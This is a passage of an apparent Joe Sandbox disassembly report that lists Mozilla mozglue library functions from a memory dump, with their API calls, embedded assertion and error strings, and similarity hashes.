EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C95D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95D6A6
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C95D712
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95D7EA

Strings

<jemalloc>, xrefs: 6C95D827
: (malloc) Error initializing arena, xrefs: 6C95D82C

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d6898e729062855e19a0464d04a871914a67854bf5951df19209c138d6f77dbe
Instruction ID: b174cc78249b7d12da0aa086f5dc3b84be5d3d232be5d6c441ff5284771a56bc
Opcode Fuzzy Hash: d6898e729062855e19a0464d04a871914a67854bf5951df19209c138d6f77dbe
Instruction Fuzzy Hash: 2191F3B2A097019FD714CF28C29032BB7E5FB89714F64892EE55AC7B85D730E851CB82

Function 6C955E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2
memset.VCRUNTIME140(6C997765,000000E5,9BC09015), ref: 6C9561F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C957652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C95730D
MOZ_CRASH(), xrefs: 6C957BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9572F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C957BCD, 6C957C1F, 6C957C34, 6C9580FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9572E3

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 388a796524204ef0dbd0b4f22aa809632cb9af155df942d53414eba453fc6b1a
Instruction ID: e2e2577c7ce42b95c444cfd34671bd7b36988074fb96c186f37822b9fbd29dc1
Opcode Fuzzy Hash: 388a796524204ef0dbd0b4f22aa809632cb9af155df942d53414eba453fc6b1a
Instruction Fuzzy Hash: 2A339B7161A7018FC308CF28C590615BBE2BF85328F69C7ADE9698F7A5D731E861CB41

Function 6C933480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C933492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C9334A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C9334EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C93350E
__Init_thread_footer.LIBCMT ref: 6C933522
__aulldiv.LIBCMT ref: 6C933552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C93357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C933592

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C933508
kernel32.dll, xrefs: 6C9334EA

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 6f5dced0194ddd5cc98b7d78d7ef0bf3983d965f8aca90ea1e808e40ba63b035
Instruction ID: 9e8dcabbccdf3baa936925697b69052faf1ce96afdcf033328a6e1e7a45f6444
Opcode Fuzzy Hash: 6f5dced0194ddd5cc98b7d78d7ef0bf3983d965f8aca90ea1e808e40ba63b035
Instruction Fuzzy Hash: 47318479B0411AFBDF04DFB5C848AAB7779FB45308F200019E909E36A0EB75D905CB65

Function 6C994EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C994EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C994F2E
moz_xmalloc.MOZGLUE ref: 6C994F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C994F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9952B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9952E6
Sleep.KERNEL32(00000010), ref: 6C995481
free.MOZGLUE(?), ref: 6C995498

Strings

(, xrefs: 6C995250

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 8b9c05c36a7ae5c44ac77f0b71d454f7294859140de57cca274873cda3fe3aa8
Instruction ID: 7d6b72f5883ed4095d8653ad4b54149af91ce81f0c260dbacfb4bc0d9be653a1
Opcode Fuzzy Hash: 8b9c05c36a7ae5c44ac77f0b71d454f7294859140de57cca274873cda3fe3aa8
Instruction Fuzzy Hash: ACF1E275A18B008FC716CF39C85062BB7F9AFD6388F15872EF846A7651DB71D8428B81

Function 6C947810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE744), ref: 6C947885
LeaveCriticalSection.KERNEL32(6C9BE744), ref: 6C9478A5
EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C9478AD
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C9478CD
EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C9478D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9478E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C94795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9479BB
LeaveCriticalSection.KERNEL32(?), ref: 6C947BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C947C82
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C947CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C947DAF

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 9fa7e61b906c4f02058f782901c20c90835b6fccd9714b1fb0a6d5a1d7072a93
Instruction ID: ac1ab2a3932436dd928196dd4f376fa776d8314152fa794288ce82cfa27558c6
Opcode Fuzzy Hash: 9fa7e61b906c4f02058f782901c20c90835b6fccd9714b1fb0a6d5a1d7072a93
Instruction Fuzzy Hash: 3A023071A0521A8FDB54CF19C984799B7B9FF88318F2582AAD809A7751D730FE91CF80

Function 6C995FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C996009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C996024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C93EE51,?), ref: 6C996046
OutputDebugStringA.KERNEL32(?,6C93EE51,?), ref: 6C996061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C996069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C996073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C996082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9B148E), ref: 6C996091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C93EE51,00000000,?), ref: 6C9960BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9960C4

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 68939ed331f78aac2764246bafba651c88a47e7ed3468371cf7c38fc296e4ade
Instruction ID: 0d4ac436ee05b2c65f06d9b19b5d80e492d386fccf1b1fd65610dabf41b3eeea
Opcode Fuzzy Hash: 68939ed331f78aac2764246bafba651c88a47e7ed3468371cf7c38fc296e4ade
Instruction Fuzzy Hash: 8621D371A00208AFDF106F25DC48A9B7BB8FF45218F108428E81A97280CB75E558CFE5

Function 6C997030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C997046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C997060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C99707E

Part of subcall function 6C9481B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9481DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C997096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C99709C
LocalFree.KERNEL32(?), ref: 6C9970AA

Strings

(null), xrefs: 6C99706A, 6C997083
### ERROR: %s: %s, xrefs: 6C997087

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: a60dde505f64b2ed3569a86ee0e517503308c3d837cc7b2d4ca06120b8593afd
Instruction ID: d94e9f8ae4f35c359df1223a14c9ef971b37f2c3c37e22cc1b1b17ae8de15837
Opcode Fuzzy Hash: a60dde505f64b2ed3569a86ee0e517503308c3d837cc7b2d4ca06120b8593afd
Instruction Fuzzy Hash: 1301B9B1A04108BFDB04AB64DC4ADAF7BBCEF49254F110425FA05E3681E671A914CBE5

Function 6C959E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C959EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C959F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C959F34
LeaveCriticalSection.KERNEL32(?), ref: 6C95A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C95A8B1, 6C95A8D4, 6C95A8EF

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 5a592e3d95c9050f7971e47f0ad6e918db600562677c997be1373ba1874a720a
Instruction ID: 361de8262da4a1a5ccc7568351556a0a438fb5487a2037df965d7bd21acb75b7
Opcode Fuzzy Hash: 5a592e3d95c9050f7971e47f0ad6e918db600562677c997be1373ba1874a720a
Instruction Fuzzy Hash: C272AE72A157118FD304CF28C540225FBE1BF89328F69C7ADE8698B791D735E852CB94

Function 6C982C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C982C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C982C61

Part of subcall function 6C934DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C934E5A
Part of subcall function 6C934DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C934E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C982C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C982E2D

Part of subcall function 6C9481B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9481DE

Strings

(root), xrefs: 6C98354F
ProfileBuffer parse error: %s, xrefs: 6C982E3B
expected a Time entry, xrefs: 6C982E36

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 825e12b607afa7256dbeb399426119f8e9c48edcbe043ce5ed123271a4a1adad
Instruction ID: 99cafc7005019323bac3fe759111c6e3513fe1e11e933d7eb313ef17e49dd827
Opcode Fuzzy Hash: 825e12b607afa7256dbeb399426119f8e9c48edcbe043ce5ed123271a4a1adad
Instruction Fuzzy Hash: 0791CEB0609B408FC724CF24C49469FBBE4AFD9358F104D1DE99A8BB91EB30D949CB52

Function 6C95C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C95C317
MOZ_CRASH(), xrefs: 6C95D4BB

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 87f3007a3f21a15659b67c7e6ffc9c5b393964c541e9aa2450ba776fdaaf8552
Instruction ID: 755f00d25bcb1e020554b9f278d9c0b0cdef09431bcdba629496b9c865c1fe0f
Opcode Fuzzy Hash: 87f3007a3f21a15659b67c7e6ffc9c5b393964c541e9aa2450ba776fdaaf8552
Instruction Fuzzy Hash: 765202316093418FD714CF28C59076AB7E6FB8A318FA4891DE8D687B81D735D866CB82

Function 6C999E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C999F3D
__aulldiv.LIBCMT ref: 6C999F77
__aullrem.LIBCMT ref: 6C999F8C
__aulldiv.LIBCMT ref: 6C99A023

Strings

NaN, xrefs: 6C999EAB
-Infinity, xrefs: 6C999E60, 6C999E7B

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: ec61b36fb7f1503e6bd26c976e7bcd6a6c67b40cf8db787bb589fb93cc209ef0
Instruction ID: 23c64d6bba40958825fe2a5ed3406e7c0cbf3124fa0fa7f08bd5627d084c03a4
Opcode Fuzzy Hash: ec61b36fb7f1503e6bd26c976e7bcd6a6c67b40cf8db787bb589fb93cc209ef0
Instruction Fuzzy Hash: 13C1B031E00319CFDB14CFA9C8507AEB7BAEB99304F194529D406ABB80DB71ED49CB91

Function 6C93D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C93DA88
-, xrefs: 6C93D7DD
1, xrefs: 6C93DBDD
0, xrefs: 6C93DC7F
@, xrefs: 6C93DAF6
8, xrefs: 6C93DC08
9, xrefs: 6C93DE7F
0, xrefs: 6C93D852

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: fac4f59872354595ec2ade1a984face8f4d70af8c9d07aa5942f89583ffb1991
Instruction ID: a3f63084d707268fb4c51eef44ef42c50fc555a2d36dd46b5bf943b0b05344dd
Opcode Fuzzy Hash: fac4f59872354595ec2ade1a984face8f4d70af8c9d07aa5942f89583ffb1991
Instruction Fuzzy Hash: FA62E37252D3658FD701CE18C0A035EBBFAAF86318F186A4DE4D94BB91C335D985CB92

Function 6C949F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C94AB22
1, xrefs: 6C94A824
@, xrefs: 6C94A625
' , xrefs: 6C94A3D8
9, xrefs: 6C94A5D6
0, xrefs: 6C94A100

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: e01e6083b5c334a773d3d903ead23eb4e93048e4a31b766335b2c37fc9f99504
Instruction ID: fee37ec26d300f2bb73fefdb6fd2f65b01cd23ce4df9559da60dc575f2f64bb6
Opcode Fuzzy Hash: e01e6083b5c334a773d3d903ead23eb4e93048e4a31b766335b2c37fc9f99504
Instruction Fuzzy Hash: 6582DF359093118BD710CF09C49026EB7F6EB86759F65CA3EE8D547E90DB34E886CB82

Function 6C93BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C93C1CB
__aulldiv.LIBCMT ref: 6C93C24C
__aulldiv.LIBCMT ref: 6C93C348
__aullrem.LIBCMT ref: 6C93C365
__aulldiv.LIBCMT ref: 6C93C37D

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 035a9dbb3799f88b17e691d7aa9b9bf6d92ccc61d80e3115b4f3d7176bce0281
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 92322732B04A618FCB18DE2CC890666BBD6AFD9310F09876DE499CB395D734ED05CB91

Function 6C9A545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9A8A4B

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: d14bfdd842b906cb9aad05da8b05130c88aeb86b283c26762037a2facb8bce08
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 07B1D772A0061A8FDB14CFA8CC907A9B7F6FF95314F1902A9C549DB791D730D986CB90

Function 6C9A542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9A88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9A925C

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
